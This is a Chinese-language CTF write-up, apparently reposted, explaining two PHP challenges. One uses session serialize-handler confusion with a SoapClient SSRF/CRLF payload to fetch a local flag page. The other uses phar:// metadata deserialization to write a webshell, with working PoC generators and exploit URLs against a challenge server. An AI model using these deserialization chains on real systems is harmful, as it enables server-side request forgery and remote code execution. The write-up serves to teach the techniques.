内容简介:LCTF的Web题,本菜鸡是感觉难到自闭了,只能来分析下签到题这是题目源码在php.ini中存在session.serialize_handler配置,定义用来序列化/反序列化的处理器名字,默认使用php。
LCTF的Web题,本菜鸡是感觉难到自闭了,只能来分析下签到题
bestphp's revenge
这是题目源码
<?php highlight_file(__FILE__); $b = 'implode'; call_user_func($_GET[f],$_POST); session_start(); if(isset($_GET[name])){ $_SESSION[name] = $_GET[name]; } var_dump($_SESSION); $a = array(reset($_SESSION),'welcome_to_the_lctf2018'); call_user_func($b,$a); ?>
有一个flag.php但要求本地访问
所以思路其实蛮清晰的,构造反序列化触发SSRF
问题的关键在于没有可以利用的类,没有可以利用的类就找不到POP链
所以只能考虑PHP原生类
其实这道题目就是这个考点——利用PHP原生类来构造POP链,这和N1ctf的一道题是一致的
但是还有一个点就是如何触发反序列化
开始想到变量覆盖,通过extract覆盖b为unserialize
然后再在下面的call_user_func中调用unserialize
但是a默认为一个数组,这是不可控的,unserialize无法处理数组,所以只能想其它的办法
然后想到了利用PHP中session反序列化机制的问题来触发反序列化
PHP session 反序列化机制
在php.ini中存在session.serialize_handler配置,定义用来序列化/反序列化的处理器名字,默认使用php。
php中的session中的内容是以文件的方式来存储的
存储方式由配置项session.save_handler确定,默认是以文件的方式存储。
PHP中session本身的序列化机制是没有问题的
问题出在了如果在序列化和反序列化时选择的引擎不同,就会带来安全问题
当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,对value多进行一次反序列化,达到我们触发反序列化的目的
具体可以参考 https://blog.spoock.com/2016/10/16/php-serialize-problem/
原生类Soap的利用
利用php的原生类soap进行反序列化的姿势是在N1ctf题目中学到的
SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式。
这里飘零师傅有写过详细的文章,也不赘述了 https://www.anquanke.com/post/id/153065#h2-5
简单来讲,我们可以通过它来发送http/https请求,同时,这里的http头部还存在crlf漏洞
SoapClient类可以创建soap数据报文,与wsdl接口进行交互。
看一下简单的用法
<?php $a = new SoapClient(null,array(location'=>'http://example.com:2333','uri'=>'123')); $b = serialize($a); echo $b; $c = unserialize($b); $c->a();
这样我们就能触发SSRF了
同时,我们可以通过设置user_agent头来构造CRLF
这是wupco师傅的poc
<?php $target = "http://example.com:2333/"; $post_string = 'data=abc'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93' ); $b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello')); $aaa = serialize($b); $aaa = str_replace('^^',"\n\r",$aaa); echo urlencode($aaa);
解题
所以我们可以通过call_user_func来设置session.serialize_handler,然后通过默认引擎来触发反序列化
反序列化利用的是Soap原生类来触发SSRF到flag.php页面,猜想flag会存储在session中
首先测试能否触发SSRF,测试是可以的,就直接上解题过程了
构造payload,这里我们要将cookie添加到header中,所以通过user_agent的Crlf来达到目的
<?php $target = "http://example:2333"; $attack = new SoapClient(null,array('location' => $target, 'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=8nsujaq7o5tl0btee8urnlsrb3\r\n", 'uri' => "123")); $payload = urlencode(serialize($attack)); echo $payload; $c = unserialize(urldecode($payload)); $c->a();
先本地测试下
本地是可以成功的
所以我们要在题目中触发反序列化
先生成payload
<?php $target = "http://127.0.0.1/flag.php"; $attack = new SoapClient(null,array('location' => $target, 'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=8nsujaq7o5tl0btee8urnlsrb3\r\n", 'uri' => "123")); $payload = urlencode(serialize($attack)); echo $payload;
然后通过call_user_func来设置session.serialize_handler
最后不要忘记构造payload的最后一步是在序列化的值之前加一个|
首先要将我们的payload存储进session
然后再去触发反序列化
最后修改cookie为我们设置的SSRF中的cookie查看session,就可以看到flag了
其它
这道题目让我想起了PHP反序列化的另一些拓展
即关于 phar://
的利用
同样是很隐蔽的触发反序列化的点
phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。
该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合 phar://
伪协议,可以不依赖unserialize()直接进行反序列化操作。
phar文件构成
- a stub
可以理解为一个标志,格式为xxx<?php xxx; HALT_COMPILER();?>,前期内容不限,但必须以 HALT_COMPILER();?>来结尾,否则phar扩展将无法识别其为phar文件。
- a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都存放在这一部分中。这部分将会以序列化的形式存储用户自定义的meta-data。
- the file contents
被压缩文件的内容。
- a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾,目前支持的两种签名格式是MD5和SHA1。
漏洞利用
漏洞触发点在使用 phar://
协议读取文件的时候,文件内容会被解析成phar对象,然后phar对象内的meta-data会被反序列化。
meta-data是用serialize()生成并保存在phar文件中,当内核调用phar_parse_metadata()解析meta-data数据时,会调用php_var_unserialize()对其进行反序列化操作,因此会造成反序列化漏洞。
利用php生成phar文件
要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
受影响函数列表
PHP识别phar文件是通过文件头的stub,即__HALT_COMPILER();?>,对前面的内容或者后缀名没有要求。可以通过添加任意文件头加上修改后缀名的方式将phar文件伪装成其他格式的文件。
exp
$phar=new Phar('shell.phar'); $phar->startBuffering(); $phar->addFromString('te.txt','asd'); #添加压缩文件 $phar->setStub('<?php __HALT_COMPILER(); ?>'); #可以设置其它的文件头来伪造文件类型 $o=new test('test'); #实例化一个对象 $phar->setMetaData($o); #存入头 $phar->stopBuffering(); #计算签名
前几天suctf的招新题刚好能用来当实例
Gallery
刚好题目环境还在 http://49.4.68.67:86/
直接放上当时写的wp
上传点简单猜测,暂时没法绕过
swp源码泄露
<?php include('./PicManager.php'); $manager=new PicManager('/var/www/html/sandbox/'.md5($_SERVER['REMOTE_ADDR'])); if(isset($_GET['act'])){ switch($_GET['act']){ case 'upload':{ if($_SERVER['REQUEST_METHOD']=='POST'){ $manager->upload_pic(); } break; } case 'get':{ print $manager->get_pic($_GET['pic']); exit; } case 'clean':{ $manager->clean(); break; } default:{ break; } } } ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf8" /> <title>GALLERY</title> <link rel="stylesheet" type="text/css" href="demo.css" /> <link rel="stylesheet" href="jquery-ui.css" type="text/css" media="all" /> <link rel="stylesheet" type="text/css" href="fancybox/jquery.fancybox-1.2.6.css" /> <script src="https://code.jquery.com/jquery-3.3.1.min.js" integrity="sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8=" crossorigin="anonymous"></script> <script src="http://code.jquery.com/ui/1.12.0-rc.2/jquery-ui.min.js" integrity="sha256-55Jz3pBCF8z9jBO1qQ7cIf0L+neuPTD1u7Ytzrp2dqo=" crossorigin="anonymous"></script> <script type="text/javascript" src="fancybox/jquery.fancybox-1.2.6.pack.js"></script> <script type="text/javascript" src="script.js"></script> </head> <body> <div id="main"> <h1>Gallery</h1> <h2>hello <?=$_SERVER['REMOTE_ADDR'];?></h2> <div id="gallery"> <?php $stage_width=600;//放大后的图片宽度 $stage_height=400;//放大后的图片高度 $allowed_types=array('jpg','jpeg','gif','png'); $file_parts=array(); $ext=''; $title=''; $i=0; $i=1; $pics=$manager->pics(); foreach ($pics as $file) { if($file=='.' || $file == '..') continue; $file_parts = explode('.',$file); $ext = strtolower(array_pop($file_parts)); // $title = implode('.',$file_parts); // $title = htmlspecialchars($title); if(in_array($ext,$allowed_types)) { $left=rand(0,$stage_width); $top=rand(0,400); $rot = rand(-40,40); if($top>$stage_height-130 && $left > $stage_width-230) { $top-=120+130; $left-=230; } /* 输出各个图片: */ echo ' <div id="pic-'.($i++).'" class="pic" style="top:'.$top.'px;left:'.$left.'px;background:url(\'http://'.$_SERVER['HTTP_HOST'].':'.$_SERVER["SERVER_PORT"].'/?act=get&pic='.$file.'\') no-repeat 50% 50%; -moz-transform:rotate('.$rot.'deg); -webkit-transform:rotate('.$rot.'deg);"> <img src="http://'.$_SERVER['HTTP_HOST'].'/?act=get&pic='.$file.'" target="_blank"/> </div>'; } } ?> <div class="drop-box"> </div> </div> <div class="clear"></div> </div> <div id="modal" title="上传图片"> <form action="index.php?act=upload" enctype="multipart/form-data" method="post"> <fieldset> <!-- <label for="url">文件:</label>--> <input type="file" name="file" id="url" onfocus="this.select()" /> <input type="submit" value="上传"/> </fieldset> </form> </div> </body> </html>
可以看到实例化了一个PicManager对象,包含三个方法
get参数通过pic参数传参,尝试之后发现可以读源码
读取PicManager.php
<?php class PicManager{ private $current_dir; private $whitelist=['.jpg','.png','.gif']; private $logfile='request.log'; private $actions=[]; public function __construct($dir){ $this->current_dir=$dir; if(!is_dir($dir))@mkdir($dir); } private function _log($message){ array_push($this->actions,'['.date('y-m-d h:i:s',time()).']'.$message); } public function pics(){ $this->_log('list pics'); $pics=[]; foreach(scandir($this->current_dir) as $item){ if(in_array(substr($item,-4),$this->whitelist)) array_push($pics,$this->current_dir."/".$item); } return $pics; } public function upload_pic(){ $this->_log('upload pic'); $file=$_FILES['file']['name']; if(!in_array(substr($file,-4),$this->whitelist)){ $this->_log('unsafe deal:upload filename '.$file); return; } $newname=md5($file).substr($file,-4); move_uploaded_file($_FILES['file']['tmp_name'],$this->current_dir.'/'.$newname); } public function get_pic($picname){ $this->_log('get pic'); if(!file_exists($picname)) return ''; $fi=new finfo(FILEINFO_MIME_TYPE); $mime=$fi->file($picname); header('Content-Type:'.$mime); return file_get_contents($picname); } public function clean(){ $this->_log('clean'); foreach(scandir($this->current_dir) as $file){ @unlink($this->current_dir."/".$file); } } public function __destruct(){ $fp=fopen($this->current_dir.'/'.$this->logfile,"a"); foreach($this->actions as $act){ fwrite($fp,$act."\n"); } fclose($fp); } } //$pic=new PicManager('./'); //$pic->gen();
所以这里有一个反序列化的可控点,但是如何触发反序列化呢?
所以这里就是phar协议拓展了攻击面
利用phar协议对象注入来触发反序列化达到写 shell 的目的
<?php class PicManager{...} $phar=new Phar('shell.phar'); $phar->startBuffering(); $phar->addFromString('te.txt','asd'); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $o=new PicManager('/var/www/html/sandbox/4150952d11458a39692ea5d1e2756f1e'); $phar->setMetaData($o); $phar->stopBuffering();
利用exp生成phar文件并上传,注意修改后缀为gif
上传成功,然后通过phar协议触发反序列化
http://49.4.68.67:86/?act=get&pic=phar:///var/www/html/sandbox/4150952d11458a39692ea5d1e2756f1e/f3035846cc279a1aff73b7c2c25367b9.gif
访问shell直接拿到flag
http://49.4.68.67:86/sandbox/4150952d11458a39692ea5d1e2756f1e/request.php
参考链接
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 一个脚本签到功能
- iOS 百度地图定位签到实现
- [python实例] 爬虫实现自动登录、签到
- b 站账号快速升级到 Lv6:每天自动签到,观看,分享,投币视频
- Java 序列化反序列化对比
- python 序列化和反序列化
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。